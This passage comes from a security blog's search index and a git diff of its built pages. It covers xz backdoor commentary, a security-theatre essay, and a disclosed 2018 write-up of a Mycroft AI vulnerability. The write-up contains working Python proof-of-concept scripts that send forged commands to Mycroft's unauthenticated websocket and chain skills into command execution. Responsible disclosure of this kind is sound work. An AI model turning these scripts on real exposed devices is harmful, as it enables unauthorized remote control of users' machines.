always remember the InfosectCBR’s “Month of Kali” where Silvio Cesare spent a month popping vulnerabilities on Kali Linux software. But which factors could contribute on minimizing the risks? ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:4:1","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#trust-issues"},{"categories":null,"content":" 4.2 GitHub StatsJust to be clear from the beginning: No, you can’t trust this kind of metrics. There is an hidden market of buying and selling GitHub stats like stars, forks etc. You can read a nice article here: https://dagster.io/blog/fake-stars ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:4:2","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#github-stats"},{"categories":null,"content":" 4.3 Community EngagementEvaluate the size and engagement of the community surrounding the project. A large and active community can provide additional eyes for reviewing code, reporting bugs, and addressing security issues promptly. xz/liblzma had litterally 2 maintainers and one was the malicious actor. ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:4:3","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#community-engagement"},{"categories":null,"content":" 4.4 Funding and SupportConsider whether the project receives financial support or sponsorship from reputable organizations. Projects with dedicated funding tend to have more resources available for security audits and ongoing maintenance. And also are less likely to be completely abandoned. Tip Remember: you want to rely on that dependency for the whole week, not only during the maintainer’s freetime, projects with a nice financial support will likely be full-time jobs and not just hobbies. ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:4:4","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#funding-and-support"},{"categories":null,"content":" 4.5 SDLCA good portion of the evaluation should also focus on the SDLC to e ensure security (and quality in general) gates are correcly implemented, approvals on PRs are mandatory and there are healthy practices in place to prevent one single contributor to push malicious code without approval. Also take in considerations that we are humans, and we make errors. Passing a code review doesn’t mean the code is safe, as I said before: there is no real solution, just ways to decrease the probablity for the bad stuff to happen. ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:4:5","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#sdlc"},{"categories":null,"content":" 4.6 Enterprise vs IndividualThis is a controversial topic because there are projects that are maintained by individuals that are well structured but usually relying on (large) enterprise projects will ensure their SDLC best practices are followed, money are keeping the project alive, and a big company is less likely to go all in and backdoor their project on purpose. Again, this just increase the probablity, don’t take it for granted ;) ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:4:6","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#enterprise-vs-individual"},{"categories":null,"content":" 5 Resources OSS-Security List: https://www.openwall.com/lists/oss-security/2024/03/29/4 Comprehensive timeline: https://boehs.org/node/everything-i-know-about-the-xz-backdoor ","date":"2024-03-30","objectID":"/posts/xz-backdoor/:5:0","series":null,"tags":["backdoor","CVE-2024-3094","xz","liblzma","supply-chain","security-engineering"],"title":"The xz backdoor from a Security Engineer persepective","uri":"/posts/xz-backdoor/#resources"},{"categories":["general-knowledge"],"content":"I have seen many companies invest significant time and resources into security measures that have little to no actual effect on security. This is commonly referred to as “security theater”. ","date":"2023-02-13","objectID":"/posts/security-theatre/:0:0","series":null,"tags":["security theatre","infosec","rants"],"title":"Security Theatre? More like Security Circus","uri":"/posts/security-theatre/#"},{"categories":["general-knowledge"],"content":" 1 What is the Security TheatreSecurity theater refers to the practice of implementing security measures for the sake of appearances, without any significant impact on actual security. These measures may give the illusion of protection, but in reality, they provide little to no real security benefits. Organizations often fall into the trap of focusing solely on compliance requirements without considering their actual security needs. Compliance-driven security measures may give the illusion of being protected, but they often fail to address the specific security risks faced by an organization. Useless compliance can also result in organizations wasting valuable resources on implementing measures that do not have a significant impact on their security posture. This can lead to a situation where an organization is in compliance with regulations, but the security budget is depleted, while their assets are still vulnerable to attacks. Oh, how I love the smell of compliance in the morning. An example of Security Theatre is the use of complex passwords that are changed regularly. Although it may seem like a good idea, it can lead to password fatigue and employees using easier-to-remember passwords, which actually undermines security. This is among the reasons why companies like Microsoft, Apple, and Google are moving away from passwords. fix your password policy Another example of security theatre is implementing security controls that are not properly configured or maintained. For instance, firewalls, IDS and IPS are a common security measure that are often poorly configured or not kept up-to-date with the latest security patches ","date":"2023-02-13","objectID":"/posts/security-theatre/:1:0","series":null,"tags":["security theatre","infosec","rants"],"title":"Security Theatre? More like Security Circus","uri":"/posts/security-theatre/#what-is-the-security-theatre"},{"categories":["general-knowledge"],"content":" 2 Root causeCybersecurity has become the new gold rush, with numerous individuals and organizations seeking to take advantage of the potential financial gains. However, finding skilled personnel to address these security concerns can be challenging, and relying on consultants can lead to a situation where the organization becomes overly dependent on their expertise. ","date":"2023-02-13","objectID":"/posts/security-theatre/:2:0","series":null,"tags":["security theatre","infosec","rants"],"title":"Security Theatre? More like Security Circus","uri":"/posts/security-theatre/#root-cause"},{"categories":["general-knowledge"],"content":" 3 Wrapping upOrganizations can protect themselves from the constant security threats by taking a proactive approach. The first step is to gain a thorough understanding of the specific risks they are facing and then implement the necessary measures to mitigate these risks. This includes educating their employees to be aware of potential attacks and how to respond in such situations. In conclusion, to avoid being caught in the trap of “security theater”, organizations must concentrate on establishing practical security measures and regularly evaluate their effectiveness. Having a well-thought-out response plan in place is also critical in ensuring the protection of the organization’s assets. Additionally, organizations should cease creating redundant policies that serve no purpose in enhancing the organization’s overall security posture. Tip Here you can find an interesting article from Phil Venables, Google CISO, about Cerimonial Security and Cargo Cults ","date":"2023-02-13","objectID":"/posts/security-theatre/:3:0","series":null,"tags":["security theatre","infosec","rants"],"title":"Security Theatre? More like Security Circus","uri":"/posts/security-theatre/#wrapping-up"},{"categories":["blog-news"],"content":"Long time no see, uh? Lot of stuff happen since the last post in 2018 on the old blog. Unfortunately I wasn’t able to write much, both for the lack of time and the impossibility to share what I learned. This post contains an introduction to this new website and how it will work from now on. First of all, I’m still in Security but moved to Product Security (more on this on a later post but TL;DR: boredom, careeer and growth opportunities, frustration and fear of burnout). Fortunately I still have time and resources on my job to conduct vulnerability research so occasionally I will post about interesting vulnerabilities I found. I would also like to talk about security aspects more related to SDLC, so let’s see how it’ll go. ","date":"2023-02-06","objectID":"/posts/long-time-no-see/:0:0","series":null,"tags":["updates"],"title":"Long Time No See","uri":"/posts/long-time-no-see/#"},{"categories":["blog-news"],"content":" 1 How this blog worksThe setup is pretty simple, I’m using hugo to build static pages and publish them on GitHub pages. There is a Github Action running that builds and deploy the pages every time a PR is approved on the main branch. A graph represeting the logic flow behind the blog deployment system The theme used is LoveIt, it’s pretty cool and rich of features but has few bugs that need to be fixed; for example, if you are using the blog in Italian you can see that the localization is pretty much fucked up. The theme localization it’s a pretty cool feature but having to rewrite the same post for each language is painful, so I’m thinking about adding the support to DeepL. Last but not least, the blog got a new logo: appsec.space logo it was generated by Midjourney and means absolutely nothing! ","date":"2023-02-06","objectID":"/posts/long-time-no-see/:1:0","series":null,"tags":["updates"],"title":"Long Time No See","uri":"/posts/long-time-no-see/#how-this-blog-works"},{"categories":["blog-news"],"content":" 2 The futureWhat’s next, you ask? Well.. a lot of stuff actually. First of all I need to migrate all the posts from the old blog because I would like to retain an archive. Next I can start writing new posts. Note If you get a redirect from the old blog to the new one the process has been completed. Despite being called appsec.space I would like to talk about different topics, spacing from Application Security to Malware Developmemnt (for learning purposes of course), to productivity setup and generic rants, basically turning this blog into my stream of counciousness. The next post will probably talk about the Security Theater. See you then! ","date":"2023-02-06","objectID":"/posts/long-time-no-see/:2:0","series":null,"tags":["updates"],"title":"Long Time No See","uri":"/posts/long-time-no-see/#the-future"},{"categories":["vulnerability-research"],"content":" 1 IntroductionDuring my journey contributing to open source I was working with my friend Matteo De Carlo on an AUR Package of a really interesting project called Mycroft AI. It’s an AI-powered vocal assistant started with a crowdfunding campaign in 2015 and a more recent one that allowed Mycroft to produce their Mark-I and Mark-II devices. It’s also running on Linux Desktop/Server, Raspberry PI and will be available soon™ on Jaguar F-Type and Land Rover ","date":"2018-06-10","objectID":"/posts/mycroft-ai-rce/:1:0","series":null,"tags":["writeup","code review","AI","vocal assistant"],"title":"Getting \"Zero Click\" Remote Code Execution in Mycroft AI vocal assistant","uri":"/posts/mycroft-ai-rce/#introduction"},{"categories":["vulnerability-research"],"content":" 2 Digging in the source codeWhile looking at the source code I found an interesting point: here ... host = config.get(\"host\") port = config.get(\"port\") route = config.get(\"route\") validate_param(host, \"websocket.host\") validate_param(port, \"websocket.port\") validate_param(route, \"websocket.route\") routes = [ (route, WebsocketEventHandler) ] application = web.Application(routes, **settings) application.listen(port, host) ioloop.IOLoop.instance().start() ... it defines a websocket server that uses to get instructions from the remote clients (like the Android one). The settings for the websocket server are defined in mycroft.conf // The mycroft-core messagebus' websocket \"websocket\": { \"host\": \"0.0.0.0\", \"port\": 8181, \"route\": \"/core\", \"ssl\": false }, So there is a websocket server that doesn’t require authentication that by default is exposed on 0.0.0.0:8181/core. Let’s test it 😉 #!/usr/bin/env python import asyncio import websockets uri = \"ws://myserver:8181/core\" command = \"say pwned\" async def sendPayload(): async with websockets.connect(uri) as websocket: await websocket.send(\"{\\\"data\\\": {\\\"utterances\\\": [\\\"\"+command+\"\\\"]}, \\\"type\\\": \\\"recognizer_loop:utterance\\\", \\\"context\\\": null}\") asyncio.get_event_loop().run_until_complete(sendPayload()) And magically we have an answer from the vocal assistant saying pwned! Well, now we can have Mycroft pronounce stuff remotely, but this is not a really big finding unless you want to scare your friends, right? WRONG ","date":"2018-06-10","objectID":"/posts/mycroft-ai-rce/:2:0","series":null,"tags":["writeup","code review","AI","vocal assistant"],"title":"Getting \"Zero Click\" Remote Code Execution in Mycroft AI vocal assistant","uri":"/posts/mycroft-ai-rce/#digging-in-the-source-code"},{"categories":["vulnerability-research"],"content":" 3 The skills systemDigging deeper we can see that Mycroft has a skills system and a default skill that can install others skills (pretty neat, right?) How is a skill composed? From what we can see from the documentation a default skill is composed by: dialog/en-us/command.dialog contains the vocal command that will trigger the skill vocab/en-us/answer.voc contains the answer that Mycroft will pronounce requirements.txt contains the requirements for the skill that will be installed with pip __int__.py contains the main function of the skill and will be loaded when the skill is triggered ","date":"2018-06-10","objectID":"/posts/mycroft-ai-rce/:3:0","series":null,"tags":["writeup","code review","AI","vocal assistant"],"title":"Getting \"Zero Click\" Remote Code Execution in Mycroft AI vocal assistant","uri":"/posts/mycroft-ai-rce/#the-skills-system"},{"categories":["vulnerability-research"],"content":" 4 What can I do now?I could create a malicious skill that when triggered runs arbitrary code on the remote machine, but unfortunately this is not possible via vocal command unless the URL of the skill is not whitelisted via the online website. So this is possible but will be a little tricky. ","date":"2018-06-10","objectID":"/posts/mycroft-ai-rce/:4:0","series":null,"tags":["writeup","code review","AI","vocal assistant"],"title":"Getting \"Zero Click\" Remote Code Execution in Mycroft AI vocal assistant","uri":"/posts/mycroft-ai-rce/#what-can-i-do-now"},{"categories":["vulnerability-research"],"content":" 4.1 So I’m done?Not yet. I found out that I can trigger skills remotely and that is possible to execute commands on a remote machine convincing the user to install a malicious skill. I may have enough to submit a vulnerability report. But maybe I can do a bit better… ","date":"2018-06-10","objectID":"/posts/mycroft-ai-rce/:4:1","series":null,"tags":["writeup","code review","AI","vocal assistant"],"title":"Getting \"Zero Click\" Remote Code Execution in Mycroft AI vocal assistant","uri":"/posts/mycroft-ai-rce/#so-im-done"},{"categories":["vulnerability-research"],"content":" 5 Getting a remote shell using default skillsWe know that Mycroft has some default skills like open that will open an application and others that are whitelisted but not installed. Reading through to the list, I found a really interesting skill called skill-autogui, whose description says Manipulate your mouse and keyboard with Mycroft. We got it! Let’s try to combine everything we found so far into a PoC: #!/usr/bin/env python import sys import asyncio import websockets import time cmds = [\"mute audio\"] + sys.argv[1:] uri = \"ws://myserver:8181/core\" async def sendPayload(): for payload in cmds: async with websockets.connect(uri) as websocket: await websocket.send(\"{\\\"data\\\": {\\\"utterances\\\": [\\\"\"+payload+\"\\\"]}, \\\"type\\\": \\\"recognizer_loop:utterance\\\", \\\"context\\\": null}\") time.sleep(1) asyncio.get_event_loop().run_until_complete(sendPayload()) Running the exploit with python pwn.py \"install autogui\" \"open xterm\" \"type echo pwned\" \"press enter\" allowed me to finally get a command execution on a Linux machine. PoC ","date":"2018-06-10","objectID":"/posts/mycroft-ai-rce/:5:0","series":null,"tags":["writeup","code review","AI","vocal assistant"],"title":"Getting \"Zero Click\" Remote Code Execution in Mycroft AI vocal assistant","uri":"/posts/mycroft-ai-rce/#getting-a-remote-shell-using-default-skills"},{"categories":["vulnerability-research"],"content":" 6 Notes open xterm was needed because my test Linux environment had a DE installed, on a remote server the commands will be executed directly on TTY so this step is not nesessary. The skill branching had a big change and now some skills are not (yet) available (autogui is one of them) but this is not the real point. Mycroft has skills to interact with domotic houses and other services that can still be manipulated (the lack of imagination is the limit here). The vulnerability lies in the lack of authentication for the ws. ","date":"2018-06-10","objectID":"/posts/mycroft-ai-rce/:6:0","series":null,"tags":["writeup","code review","AI","vocal assistant"],"title":"Getting \"Zero Click\" Remote Code Execution in Mycroft AI vocal assistant","uri":"/posts/mycroft-ai-rce/#_notes_"},{"categories":["vulnerability-research"],"content":" 7 Affected devicesAll the devices running Mycroft \u003c= ? with the websocket server exposed (Mark-I has the websocket behind a firewall by default) ","date":"2018-06-10","objectID":"/posts/mycroft-ai-rce/:7:0","series":null,"tags":["writeup","code review","AI","vocal assistant"],"title":"Getting \"Zero Click\" Remote Code Execution in Mycroft AI vocal assistant","uri":"/posts/mycroft-ai-rce/#affected-devices"},{"categories":["vulnerability-research"],"content":" 8 Timeline 08/03/2018 Vulnerability found 09/03/2018 Vulnerability reported 13/03/2018 The CTO answered that they are aware of this problem and are currently working on a patch 06/06/2018 The CTO said that they have no problem with the release of the vulnerability and will add a warning to remember the user to use a firewall ¯\\_(ツ)_/¯ 09/06/2018 Public disclosure ","date":"2018-06-10","objectID":"/posts/mycroft-ai-rce/:8:0","series":null,"tags":["writeup","code review","AI","vocal assistant"],"title":"Getting \"Zero Click\" Remote Code Execution in Mycroft AI vocal assistant","uri":"/posts/mycroft-ai-rce/#timeline"},{"categories":null,"content":"My name is Francesco Giordano and I’m a Product Security Engineer with a background in vulnerability reasearch, malware development and offensive security in general. I also like to develop my own frameworks and tools, you can find my work and contributions on my GitHub. I used to run another blog, you can read more about that here ","date":"0001-01-01","objectID":"/about/:0:0","series":null,"tags":null,"title":"About Me","uri":"/about/#"}] \ No newline at end of file diff --git a/index.xml b/index.xml index ea165d5..f4fb34d 100644 --- a/index.xml +++ b/index.xml @@ -79,7 +79,7 @@ Some (homebrew, for example), forced the downgrade to 5.4.6.

Again, thanks GitHub for locking the access to the source code.

As I said at the beginning of the post, I don’t want to go too deep into the technical analysis of the backdoor, for two main reasons: with the sourcecode locked and only an archive available the informations are incomplete and I really don’t want to reverse the xz binary. -Also, and this is the more important reasons, people more knoledgeble than me on Threat Actors behaviors are already on it. +Also, and this is the more important reasons, people more knowledgeable than me on Threat Actors behaviors are already on it. I will just link their posts once are ready, so make sure to check the Resource below.

One thing I can do here is showing the point of view of a Security Engineer on the issue, how I would mitigate the problem and what steps went wrong.

diff --git a/posts/index.xml b/posts/index.xml index 54809d5..76d4351 100644 --- a/posts/index.xml +++ b/posts/index.xml @@ -79,7 +79,7 @@ Some (homebrew, for example), forced the downgrade to 5.4.6.

Again, thanks GitHub for locking the access to the source code.

As I said at the beginning of the post, I don’t want to go too deep into the technical analysis of the backdoor, for two main reasons: with the sourcecode locked and only an archive available the informations are incomplete and I really don’t want to reverse the xz binary. -Also, and this is the more important reasons, people more knoledgeble than me on Threat Actors behaviors are already on it. +Also, and this is the more important reasons, people more knowledgeable than me on Threat Actors behaviors are already on it. I will just link their posts once are ready, so make sure to check the Resource below.

One thing I can do here is showing the point of view of a Security Engineer on the issue, how I would mitigate the problem and what steps went wrong.

diff --git a/posts/xz-backdoor/index.html b/posts/xz-backdoor/index.html index b3c8034..e506309 100644 --- a/posts/xz-backdoor/index.html +++ b/posts/xz-backdoor/index.html @@ -1,7 +1,7 @@ The xz backdoor from a Security Engineer persepective - appsec & stuff
Posts Categories About me English +The package was used as entrypoint to inject malicious code in sshd, altering the authentication flow. This forged vulnerability is now known as CVE-2024-3094.">
Posts Categories About me English @@ -20,12 +20,12 @@ As soon as I will find a complete analysis on that matter I will link it.

The situation doesn’t look too good so I’m trying to write this blogpost as a summary. I don’t want to address the technical aspect of the compromission but I want to look at the issue from the perspective of a Security Engineer, summarizing what went wrong and trying to find a remediation.

Note
Check the Resources section for a link to an article with a detailed timeline
  • Apr 2022:
    • A new maintainer shows up in the xz project.
  • 29 Mar 2024:

    • Andres Freund sent an email to the oss-security security regarding a backdoor in xz/liblzma. He was optimizing his infrastructure and found that ssh was suspiciously slow. Some debug later he found the issue was likely caused by the backdoor. The initial analysis was performed with the help of Florian Weimer.

    • The post was sent to the oss-security mailing list

    • Impacted distros are starting to ship patches to downgrade the xz version (more on that later)

  • 30 Mar 2024:
    • GitHub blocked access to the repostiory and blocked the account of both the xz maintainers

The extent of this breach is still unkown, but here is a (partial) list of components shipping the known malicious version of xz:

Distributions:

  • Arch
  • Gentoo
  • Manjaro Testing
  • Parabola
  • NixOS Unstable
  • Slackware
  • SUSE Thumbleweed
  • Kali Linux

The backdoored package is also contained in the following package managers:

  • Homebrew
  • MacPorts
  • pkgsrc

The reasons behind the xz repositories lockdown are still a mistery to me, especially knowing that with the source code available additional anaysis on the backdoor could be performed.

Blocking access to the source code is something that will delay further results, that is honestly really bad for time-critical situation like this one.

The patch strategy for basically everyone was to force a downgrade from the 5.6.0-5.6.1 to another version.
Some (homebrew, for example), forced the downgrade to 5.4.6.

This looks interesting because for sure we know there is a backdoor on that (5.6.0-5.6.1) versions, but we also know that the attacker has been working on the repository for over two years.

The 5.4.6 version is also builded by the attacker and honestly wouldn’t trust it much. Again, thanks GitHub for locking the access to the source code.

As I said at the beginning of the post, I don’t want to go too deep into the technical analysis of the backdoor, for two main reasons: with the sourcecode locked and only an archive available the informations are incomplete and I really don’t want to reverse the xz binary. -Also, and this is the more important reasons, people more knoledgeble than me on Threat Actors behaviors are already on it. +Also, and this is the more important reasons, people more knowledgeable than me on Threat Actors behaviors are already on it. I will just link their posts once are ready, so make sure to check the Resource below.

One thing I can do here is showing the point of view of a Security Engineer on the issue, how I would mitigate the problem and what steps went wrong.

Note
TL;DR: there isn’t an actual solution

https://imgs.xkcd.com/comics/dependency_2x.png

xz is a software mainteined (up until 2022) by 1 single guy. Later another maintainer joined but unfortunately for us, it was the same guy pushing the backdoor to upstream. This crashes against the fact that xz is an incredibly popular package available in a lot of distributions and being a dependency of many softwares.

This was likely seen by the attacker as a gold mine since it was easy to get the role of maintainer of the project and push the malicious code.

Since you are using a thirdy-part source for your supply chain, you have to trust someone at one point or another. When talking about supply chain security the reccomendations are always the same: pin the hashes and use signature verification. This will work as long as you have scenarios like a malicious attacker compromising the dependency CICD and pushing a malicious build, account compromissions etc.

But what can you do if all of a sudden, trusted maintainer goes rogue?

As a standard user, unless you want (and are able to) code review every single commit from every single piece of software your OS interact with: pretty much nothing.

On the other hand, developers and repository owners should really increase controls on their supply chain and include strict metrics to exclude high risk packages. One of the biggest gimmicks of Open Source security is people beliving that since the source code is available the code magically became safe.

One critical factor often overlooked is the assumption that having access to the source code automatically translates into a larger pool of eyes scrutinizing it for vulnerabilities.

The effectiveness of this review process depends on the level of community engagement and the expertise of those inspecting the code, and usually is not much at all. Many projects receive minimal attention from developers, with only a handful of individuals actively contributing or reviewing code changes. As a result, vulnerabilities (intentional or not) may go unnoticed for extended periods, posing significant security risks to users.

Every time a discussion like that appears I always remember the InfosectCBR’s “Month of Kali” where Silvio Cesare spent a month popping vulnerabilities on Kali Linux software.

But which factors could contribute on minimizing the risks?

Just to be clear from the beginning: No, you can’t trust this kind of metrics.

There is an hidden market of buying and selling GitHub stats like stars, forks etc. You can read a nice article here: https://dagster.io/blog/fake-stars

Evaluate the size and engagement of the community surrounding the project.

A large and active community can provide additional eyes for reviewing code, reporting bugs, and addressing security issues promptly. xz/liblzma had litterally 2 maintainers and one was the malicious actor.

Consider whether the project receives financial support or sponsorship from reputable organizations. Projects with dedicated funding tend to have more resources available for security audits and ongoing maintenance. -And also are less likely to be completely abandoned.

Tip
Remember: you want to rely on that dependency for the whole week, not only during the maintainer’s freetime, projects with a nice financial support will likely be full-time jobs and not just hobbies.

A good portion of the evaluation should also focus on the SDLC to e ensure security (and quality in general) gates are correcly implemented, approvals on PRs are mandatory and there are healthy practices in place to prevent one single contributor to push malicious code without approval.

Also take in considerations that we are humans, and we make errors. Passing a code review doesn’t mean the code is safe, as I said before: there is no real solution, just ways to decrease the probablity for the bad stuff to happen.

This is a controversial topic because there are projects that are maintained by individuals that are well structured but usually relying on (large) enterprise projects will ensure their SDLC best practices are followed, money are keeping the project alive, and a big company is less likely to go all in and backdoor their project on purpose. Again, this just increase the probablity, don’t take it for granted ;)

Updated on 2024-03-31  -df7aeda
Read markdown
 Backdoor, CVE-2024-3094, Xz, Liblzma, Supply-Chain, Security-Engineering
Back | Home
+And also are less likely to be completely abandoned.

Tip
Remember: you want to rely on that dependency for the whole week, not only during the maintainer’s freetime, projects with a nice financial support will likely be full-time jobs and not just hobbies.

A good portion of the evaluation should also focus on the SDLC to e ensure security (and quality in general) gates are correcly implemented, approvals on PRs are mandatory and there are healthy practices in place to prevent one single contributor to push malicious code without approval.

Also take in considerations that we are humans, and we make errors. Passing a code review doesn’t mean the code is safe, as I said before: there is no real solution, just ways to decrease the probablity for the bad stuff to happen.

This is a controversial topic because there are projects that are maintained by individuals that are well structured but usually relying on (large) enterprise projects will ensure their SDLC best practices are followed, money are keeping the project alive, and a big company is less likely to go all in and backdoor their project on purpose. Again, this just increase the probablity, don’t take it for granted ;)

Updated on 2024-03-31  +767b9c3
Read markdown
 Backdoor, CVE-2024-3094, Xz, Liblzma, Supply-Chain, Security-Engineering
Back | Home
\ No newline at end of file diff --git a/posts/xz-backdoor/index.md b/posts/xz-backdoor/index.md index 78e2682..a6c6cab 100644 --- a/posts/xz-backdoor/index.md +++ b/posts/xz-backdoor/index.md @@ -73,7 +73,7 @@ Again, thanks GitHub for locking the access to the source code. ## How to prevent this issue? As I said at the beginning of the post, I don't want to go too deep into the technical analysis of the backdoor, for two main reasons: with the sourcecode locked and only [an archive available](https://github.com/xz-mirror/xz) the informations are incomplete and I really don't want to reverse the `xz` binary. -Also, and this is the more important reasons, people more knoledgeble than me on Threat Actors behaviors are already on it. +Also, and this is the more important reasons, people more knowledgeable than me on Threat Actors behaviors are already on it. I will just link their posts once are ready, so make sure to check the Resource below. One thing I can do here is showing the point of view of a Security Engineer on the issue, how I would mitigate the problem and what steps went wrong. diff --git a/sitemap.xml b/sitemap.xml index 9032308..f1e9374 100644 --- a/sitemap.xml +++ b/sitemap.xml @@ -1 +1 @@ -https://appsec.space/en/sitemap.xml2024-03-31T08:14:38+02:00https://appsec.space/it/sitemap.xml2024-03-30T22:00:02+01:00 \ No newline at end of file +https://appsec.space/en/sitemap.xml2024-03-31T08:15:51+02:00https://appsec.space/it/sitemap.xml2024-03-30T22:00:02+01:00 \ No newline at end of file diff --git a/tags/backdoor/index.xml b/tags/backdoor/index.xml index 5063e76..934753d 100644 --- a/tags/backdoor/index.xml +++ b/tags/backdoor/index.xml @@ -79,7 +79,7 @@ Some (homebrew, for example), forced the downgrade to 5.4.6.

Again, thanks GitHub for locking the access to the source code.

As I said at the beginning of the post, I don’t want to go too deep into the technical analysis of the backdoor, for two main reasons: with the sourcecode locked and only an archive available the informations are incomplete and I really don’t want to reverse the xz binary. -Also, and this is the more important reasons, people more knoledgeble than me on Threat Actors behaviors are already on it. +Also, and this is the more important reasons, people more knowledgeable than me on Threat Actors behaviors are already on it. I will just link their posts once are ready, so make sure to check the Resource below.

One thing I can do here is showing the point of view of a Security Engineer on the issue, how I would mitigate the problem and what steps went wrong.

diff --git a/tags/cve-2024-3094/index.xml b/tags/cve-2024-3094/index.xml index a66cf23..3d785a4 100644 --- a/tags/cve-2024-3094/index.xml +++ b/tags/cve-2024-3094/index.xml @@ -79,7 +79,7 @@ Some (homebrew, for example), forced the downgrade to 5.4.6.

Again, thanks GitHub for locking the access to the source code.

As I said at the beginning of the post, I don’t want to go too deep into the technical analysis of the backdoor, for two main reasons: with the sourcecode locked and only an archive available the informations are incomplete and I really don’t want to reverse the xz binary. -Also, and this is the more important reasons, people more knoledgeble than me on Threat Actors behaviors are already on it. +Also, and this is the more important reasons, people more knowledgeable than me on Threat Actors behaviors are already on it. I will just link their posts once are ready, so make sure to check the Resource below.

One thing I can do here is showing the point of view of a Security Engineer on the issue, how I would mitigate the problem and what steps went wrong.

diff --git a/tags/liblzma/index.xml b/tags/liblzma/index.xml index 8a2a6f6..3a3f7c7 100644 --- a/tags/liblzma/index.xml +++ b/tags/liblzma/index.xml @@ -79,7 +79,7 @@ Some (homebrew, for example), forced the downgrade to 5.4.6.

Again, thanks GitHub for locking the access to the source code.

As I said at the beginning of the post, I don’t want to go too deep into the technical analysis of the backdoor, for two main reasons: with the sourcecode locked and only an archive available the informations are incomplete and I really don’t want to reverse the xz binary. -Also, and this is the more important reasons, people more knoledgeble than me on Threat Actors behaviors are already on it. +Also, and this is the more important reasons, people more knowledgeable than me on Threat Actors behaviors are already on it. I will just link their posts once are ready, so make sure to check the Resource below.

One thing I can do here is showing the point of view of a Security Engineer on the issue, how I would mitigate the problem and what steps went wrong.

diff --git a/tags/security-engineering/index.xml b/tags/security-engineering/index.xml index 34a0e56..65a4398 100644 --- a/tags/security-engineering/index.xml +++ b/tags/security-engineering/index.xml @@ -79,7 +79,7 @@ Some (homebrew, for example), forced the downgrade to 5.4.6.

Again, thanks GitHub for locking the access to the source code.

As I said at the beginning of the post, I don’t want to go too deep into the technical analysis of the backdoor, for two main reasons: with the sourcecode locked and only an archive available the informations are incomplete and I really don’t want to reverse the xz binary. -Also, and this is the more important reasons, people more knoledgeble than me on Threat Actors behaviors are already on it. +Also, and this is the more important reasons, people more knowledgeable than me on Threat Actors behaviors are already on it. I will just link their posts once are ready, so make sure to check the Resource below.

One thing I can do here is showing the point of view of a Security Engineer on the issue, how I would mitigate the problem and what steps went wrong.

diff --git a/tags/supply-chain/index.xml b/tags/supply-chain/index.xml index 660b9b8..f72ec44 100644 --- a/tags/supply-chain/index.xml +++ b/tags/supply-chain/index.xml @@ -79,7 +79,7 @@ Some (homebrew, for example), forced the downgrade to 5.4.6.

Again, thanks GitHub for locking the access to the source code.

As I said at the beginning of the post, I don’t want to go too deep into the technical analysis of the backdoor, for two main reasons: with the sourcecode locked and only an archive available the informations are incomplete and I really don’t want to reverse the xz binary. -Also, and this is the more important reasons, people more knoledgeble than me on Threat Actors behaviors are already on it. +Also, and this is the more important reasons, people more knowledgeable than me on Threat Actors behaviors are already on it. I will just link their posts once are ready, so make sure to check the Resource below.

One thing I can do here is showing the point of view of a Security Engineer on the issue, how I would mitigate the problem and what steps went wrong.

diff --git a/tags/xz/index.xml b/tags/xz/index.xml index 10d236b..2820e14 100644 --- a/tags/xz/index.xml +++ b/tags/xz/index.xml @@ -79,7 +79,7 @@ Some (homebrew, for example), forced the downgrade to 5.4.6.

Again, thanks GitHub for locking the access to the source code.

As I said at the beginning of the post, I don’t want to go too deep into the technical analysis of the backdoor, for two main reasons: with the sourcecode locked and only an archive available the informations are incomplete and I really don’t want to reverse the xz binary. -Also, and this is the more important reasons, people more knoledgeble than me on Threat Actors behaviors are already on it. +Also, and this is the more important reasons, people more knowledgeable than me on Threat Actors behaviors are already on it. I will just link their posts once are ready, so make sure to check the Resource below.

One thing I can do here is showing the point of view of a Security Engineer on the issue, how I would mitigate the problem and what steps went wrong.